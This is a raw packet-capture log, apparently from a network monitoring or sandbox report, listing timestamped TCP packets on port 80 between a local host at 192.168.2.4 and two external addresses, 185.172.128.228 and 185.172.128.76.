Apr 23, 2024 09:38:13.459960938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459966898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459997892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460017920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460033894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460047007 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460069895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460074902 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460113049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460136890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460172892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460177898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460207939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460212946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460243940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460248947 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460278988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460285902 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460314989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460323095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460350990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460366011 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460386992 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460396051 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460422993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460431099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460458994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460472107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460494041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460508108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460530043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460537910 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460566044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460572958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460601091 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460602045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460639000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460647106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460675001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460680962 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460710049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460716963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460746050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460753918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460783005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460784912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460818052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460824966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460853100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460861921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460896969 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460901976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460942030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.460946083 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.460977077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461004972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461013079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461047888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461061001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461083889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461083889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461083889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461173058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461182117 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461210012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461218119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461246014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461255074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461281061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461288929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461321115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461328030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461357117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461363077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461395025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461400986 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461431026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461440086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461447954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461462975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461472034 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461478949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461484909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461494923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461509943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461512089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461527109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461536884 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461543083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461560011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461570978 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461575031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461591005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461605072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461620092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461630106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461635113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461652040 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461652994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461667061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461671114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461671114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461683035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461698055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461702108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461714029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461729050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461730957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461744070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461749077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461759090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461766005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461775064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461788893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461797953 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461805105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461821079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461822033 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461836100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461849928 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461850882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461867094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461878061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461882114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461893082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461898088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461915016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461926937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461930990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461946011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461956978 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461961985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461977005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.461978912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.461992979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462003946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462007999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462023020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462038994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462043047 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462052107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462054014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462069988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462083101 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462085009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462102890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462112904 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462117910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462132931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462136030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462147951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462153912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462187052 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462197065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462213039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462229967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462233067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462245941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462261915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462265015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462276936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462292910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462305069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462308884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462320089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462323904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462341070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462348938 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462357044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462367058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462372065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462388039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462393999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462403059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462418079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462425947 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462433100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462447882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462462902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462471962 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462477922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462492943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462507963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462518930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462522984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462538958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462553978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462554932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462568998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462579012 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462584972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462594986 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462601900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.462618113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.462624073 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462634087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462650061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462665081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462665081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.462682009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462690115 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462697983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462702990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.462714911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462721109 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462729931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462745905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462749004 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462760925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462770939 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462775946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462790966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462800980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462805986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462816000 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462821007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462836981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462846041 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462852001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462869883 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462874889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462886095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462893963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462902069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462919950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.462924004 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462934971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462949991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462950945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462963104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.462966919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.462975025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.462984085 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463001966 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.463007927 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463017941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.463033915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.463036060 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463044882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.463048935 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463064909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463066101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.463080883 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463095903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463109016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.463112116 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463110924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463128090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463128090 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463145971 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463152885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463169098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463174105 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463185072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463198900 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463201046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463217020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463218927 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463232994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463243961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463248014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463264942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463274002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463280916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463296890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463305950 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463313103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463323116 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463327885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463344097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463359118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463360071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463376045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463387012 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463391066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463403940 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463407040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463423967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463432074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463439941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463455915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463460922 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463474035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463478088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463490009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463505030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463505983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463521004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463531017 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463536024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463552952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463557959 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463567972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463577032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463583946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463598967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463602066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463615894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463632107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463632107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463648081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463654041 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463664055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463679075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463680983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463695049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463706970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463711023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463726997 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463733912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463742971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463749886 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463758945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463774920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463781118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463792086 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.463800907 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.463829994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.514223099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.514291048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.514329910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.514333963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.514364958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.514370918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.514377117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.514415026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.514425993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.514467001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.666188002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.666269064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.666309118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.666343927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.666380882 CEST	80	49733	185.172.128.76	192.168.2.4
